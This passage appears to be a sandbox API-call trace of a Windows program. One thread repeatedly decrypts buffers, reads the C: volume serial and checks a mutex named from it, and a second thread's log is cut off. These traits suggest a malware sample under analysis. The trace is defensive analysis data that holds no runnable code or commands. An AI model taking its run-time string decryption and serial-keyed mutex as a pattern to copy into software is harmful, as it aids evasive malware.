	[0261.434] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151080) returned 1
	[0261.434] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0261.434] CryptDecrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68c580, pdwDataLen=0xfcf990 | out: pbData=0x68c580, pdwDataLen=0xfcf990) returned 1
	[0261.434] CryptDestroyKey (hKey=0x151080) returned 1
	[0261.434] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68c580 | out: hHeap=0x680000) returned 1
	[0261.434] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x689248, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0261.434] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689338 | out: hHeap=0x680000) returned 1
	[0261.434] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689130 | out: hHeap=0x680000) returned 1
	[0261.434] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0261.434] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689248 | out: hHeap=0x680000) returned 1
	[0261.434] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x68d6d8
	[0261.434] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151080) returned 1
	[0261.434] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0261.435] CryptDecrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68d6d8, pdwDataLen=0xfcf9ec | out: pbData=0x68d6d8, pdwDataLen=0xfcf9ec) returned 1
	[0261.435] CryptDestroyKey (hKey=0x151080) returned 1
	[0261.435] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x681410
	[0261.435] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x25c
	[0261.435] WaitForSingleObject (hHandle=0x25c, dwMilliseconds=0x0) returned 0x102
	[0261.435] CloseHandle (hObject=0x25c) returned 1
	[0261.435] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68d6d8 | out: hHeap=0x680000) returned 1
	[0261.435] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681410 | out: hHeap=0x680000) returned 1
	[0261.435] Sleep (dwMilliseconds=0x3e8) 
	[0262.716] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689270
	[0262.716] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151300) returned 1
	[0262.716] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0262.716] CryptDecrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689270, pdwDataLen=0xfcf9b8 | out: pbData=0x689270, pdwDataLen=0xfcf9b8) returned 1
	[0262.716] CryptDestroyKey (hKey=0x151300) returned 1
	[0262.716] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x689310
	[0262.716] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x688fc8
	[0262.716] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x68c4e8
	[0262.716] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151740) returned 1
	[0262.716] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0262.716] CryptDecrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68c4e8, pdwDataLen=0xfcf990 | out: pbData=0x68c4e8, pdwDataLen=0xfcf990) returned 1
	[0262.716] CryptDestroyKey (hKey=0x151740) returned 1
	[0262.716] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68c4e8 | out: hHeap=0x680000) returned 1
	[0262.716] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x689310, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0262.716] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688fc8 | out: hHeap=0x680000) returned 1
	[0262.716] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689270 | out: hHeap=0x680000) returned 1
	[0262.716] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0262.716] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689310 | out: hHeap=0x680000) returned 1
	[0262.716] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x68d570
	[0262.716] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x1513c0) returned 1
	[0262.716] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0262.717] CryptDecrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68d570, pdwDataLen=0xfcf9ec | out: pbData=0x68d570, pdwDataLen=0xfcf9ec) returned 1
	[0262.717] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0262.717] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x681410
	[0262.717] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2f4
	[0262.717] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x0) returned 0x102
	[0262.717] CloseHandle (hObject=0x2f4) returned 1
	[0262.717] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68d570 | out: hHeap=0x680000) returned 1
	[0262.717] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681410 | out: hHeap=0x680000) returned 1
	[0262.717] Sleep (dwMilliseconds=0x3e8) 
	[0263.752] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x688ff0
	[0263.752] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x1510c0) returned 1
	[0263.752] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0263.752] CryptDecrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x688ff0, pdwDataLen=0xfcf9b8 | out: pbData=0x688ff0, pdwDataLen=0xfcf9b8) returned 1
	[0263.752] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0263.752] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x6891f8
	[0263.752] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x6891d0
	[0263.752] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x68c9a8
	[0263.752] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151400) returned 1
	[0263.752] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0263.752] CryptDecrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68c9a8, pdwDataLen=0xfcf990 | out: pbData=0x68c9a8, pdwDataLen=0xfcf990) returned 1
	[0263.752] CryptDestroyKey (hKey=0x151400) returned 1
	[0263.752] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68c9a8 | out: hHeap=0x680000) returned 1
	[0263.752] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6891f8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0263.752] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6891d0 | out: hHeap=0x680000) returned 1
	[0263.752] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688ff0 | out: hHeap=0x680000) returned 1
	[0263.752] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0263.752] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6891f8 | out: hHeap=0x680000) returned 1
	[0263.752] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x68da38
	[0263.752] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151600) returned 1
	[0263.752] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0263.752] CryptDecrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68da38, pdwDataLen=0xfcf9ec | out: pbData=0x68da38, pdwDataLen=0xfcf9ec) returned 1
	[0263.752] CryptDestroyKey (hKey=0x151600) returned 1
	[0263.752] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x681410
	[0263.752] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x304
	[0263.752] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x0) returned 0x102
	[0263.752] CloseHandle (hObject=0x304) returned 1
	[0263.752] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68da38 | out: hHeap=0x680000) returned 1
	[0263.752] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681410 | out: hHeap=0x680000) returned 1
	[0263.753] Sleep (dwMilliseconds=0x3e8) 
	[0264.757] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x6892e8
	[0264.757] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x1515c0) returned 1
	[0264.757] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0264.757] CryptDecrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6892e8, pdwDataLen=0xfcf9b8 | out: pbData=0x6892e8, pdwDataLen=0xfcf9b8) returned 1
	[0264.757] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0264.757] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x689310
	[0264.757] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x689220
	[0264.757] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x68c748
	[0264.757] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151040) returned 1
	[0264.757] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0264.757] CryptDecrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68c748, pdwDataLen=0xfcf990 | out: pbData=0x68c748, pdwDataLen=0xfcf990) returned 1
	[0264.757] CryptDestroyKey (hKey=0x151040) returned 1
	[0264.757] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68c748 | out: hHeap=0x680000) returned 1
	[0264.757] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x689310, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0264.757] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689220 | out: hHeap=0x680000) returned 1
	[0264.757] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6892e8 | out: hHeap=0x680000) returned 1
	[0264.757] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0264.757] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689310 | out: hHeap=0x680000) returned 1
	[0264.757] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x68d600
	[0264.757] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151640) returned 1
	[0264.757] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0264.758] CryptDecrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68d600, pdwDataLen=0xfcf9ec | out: pbData=0x68d600, pdwDataLen=0xfcf9ec) returned 1
	[0264.758] CryptDestroyKey (hKey=0x151640) returned 1
	[0264.758] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x681410
	[0264.758] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2c0
	[0264.758] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102
	[0264.758] CloseHandle (hObject=0x2c0) returned 1
	[0264.758] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68d600 | out: hHeap=0x680000) returned 1
	[0264.758] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681410 | out: hHeap=0x680000) returned 1
	[0264.758] Sleep (dwMilliseconds=0x3e8) 
	[0265.794] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689108
	[0265.794] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151100) returned 1
	[0265.794] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0265.794] CryptDecrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689108, pdwDataLen=0xfcf9b8 | out: pbData=0x689108, pdwDataLen=0xfcf9b8) returned 1
	[0265.794] CryptDestroyKey (hKey=0x151100) returned 1
	[0265.794] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x6891d0
	[0265.794] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x6892e8
	[0265.794] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x68c878
	[0265.794] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151640) returned 1
	[0265.794] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0265.794] CryptDecrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68c878, pdwDataLen=0xfcf990 | out: pbData=0x68c878, pdwDataLen=0xfcf990) returned 1
	[0265.794] CryptDestroyKey (hKey=0x151640) returned 1
	[0265.794] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68c878 | out: hHeap=0x680000) returned 1
	[0265.795] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6891d0, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0265.795] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6892e8 | out: hHeap=0x680000) returned 1
	[0265.795] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689108 | out: hHeap=0x680000) returned 1
	[0265.795] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0265.795] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6891d0 | out: hHeap=0x680000) returned 1
	[0265.795] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x68d720
	[0265.795] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151540) returned 1
	[0265.795] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0265.795] CryptDecrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68d720, pdwDataLen=0xfcf9ec | out: pbData=0x68d720, pdwDataLen=0xfcf9ec) returned 1
	[0265.795] CryptDestroyKey (hKey=0x151540) returned 1
	[0265.795] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x681410
	[0265.795] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x244
	[0265.795] WaitForSingleObject (hHandle=0x244, dwMilliseconds=0x0) returned 0x102
	[0265.795] CloseHandle (hObject=0x244) returned 1
	[0265.795] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68d720 | out: hHeap=0x680000) returned 1
	[0265.795] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681410 | out: hHeap=0x680000) returned 1
	[0265.795] Sleep (dwMilliseconds=0x3e8) 
	[0266.804] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x6890b8
	[0266.804] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151180) returned 1
	[0266.804] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0266.804] CryptDecrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6890b8, pdwDataLen=0xfcf9b8 | out: pbData=0x6890b8, pdwDataLen=0xfcf9b8) returned 1
	[0266.804] CryptDestroyKey (hKey=0x151180) returned 1
	[0266.804] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x688fc8
	[0266.804] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x6890e0
	[0266.804] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x68c618
	[0266.804] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x1517c0) returned 1
	[0266.804] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0266.804] CryptDecrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68c618, pdwDataLen=0xfcf990 | out: pbData=0x68c618, pdwDataLen=0xfcf990) returned 1
	[0266.804] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0266.804] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68c618 | out: hHeap=0x680000) returned 1
	[0266.804] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x688fc8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0266.804] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6890e0 | out: hHeap=0x680000) returned 1
	[0266.804] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6890b8 | out: hHeap=0x680000) returned 1
	[0266.804] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0266.804] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688fc8 | out: hHeap=0x680000) returned 1
	[0266.804] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x68d918
	[0266.804] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151380) returned 1
	[0266.804] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0266.804] CryptDecrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68d918, pdwDataLen=0xfcf9ec | out: pbData=0x68d918, pdwDataLen=0xfcf9ec) returned 1
	[0266.804] CryptDestroyKey (hKey=0x151380) returned 1
	[0266.804] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x681410
	[0266.804] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2c0
	[0266.804] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102
	[0266.805] CloseHandle (hObject=0x2c0) returned 1
	[0266.805] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68d918 | out: hHeap=0x680000) returned 1
	[0266.805] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681410 | out: hHeap=0x680000) returned 1
	[0266.805] Sleep (dwMilliseconds=0x3e8) 
	[0267.914] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689248
	[0267.914] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151700) returned 1
	[0267.914] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0267.914] CryptDecrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689248, pdwDataLen=0xfcf9b8 | out: pbData=0x689248, pdwDataLen=0xfcf9b8) returned 1
	[0267.914] CryptDestroyKey (hKey=0x151700) returned 1
	[0267.914] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x688ff0
	[0267.914] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x6891f8
	[0267.914] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x68d030
	[0267.914] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151540) returned 1
	[0267.914] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0267.914] CryptDecrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68d030, pdwDataLen=0xfcf990 | out: pbData=0x68d030, pdwDataLen=0xfcf990) returned 1
	[0267.914] CryptDestroyKey (hKey=0x151540) returned 1
	[0267.914] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68d030 | out: hHeap=0x680000) returned 1
	[0267.914] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x688ff0, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0267.914] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6891f8 | out: hHeap=0x680000) returned 1
	[0267.914] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689248 | out: hHeap=0x680000) returned 1
	[0267.914] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0267.915] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688ff0 | out: hHeap=0x680000) returned 1
	[0267.915] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x68d8d0
	[0267.915] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x1512c0) returned 1
	[0267.915] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0267.915] CryptDecrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x68d8d0, pdwDataLen=0xfcf9ec | out: pbData=0x68d8d0, pdwDataLen=0xfcf9ec) returned 1
	[0267.915] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0267.915] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x681410
	[0267.915] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2b0
	[0267.915] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x0) returned 0x102
	[0267.915] CloseHandle (hObject=0x2b0) returned 1
	[0267.915] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68d8d0 | out: hHeap=0x680000) returned 1
	[0267.915] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x681410 | out: hHeap=0x680000) returned 1
	[0267.915] Sleep (dwMilliseconds=0x3e8) 

Thread:
	id = 86
	os_tid = 0xd54

	[0213.829] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x681228
	[0213.829] CryptImportKey (in: hProv=0x1267b0, pbData=0x110fc5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x110fcc4 | out: phKey=0x110fcc4*=0x1393a0) returned 1
	[0213.829] CryptSetKeyParam (hKey=0x1393a0, dwParam=0x1, pbData=0x110fcac, dwFlags=0x0) returned 1
	[0213.829] CryptDecrypt (in: hKey=0x1393a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x681228, pdwDataLen=0x110fc78 | out: pbData=0x681228, pdwDataLen=0x110fc78) returned 1
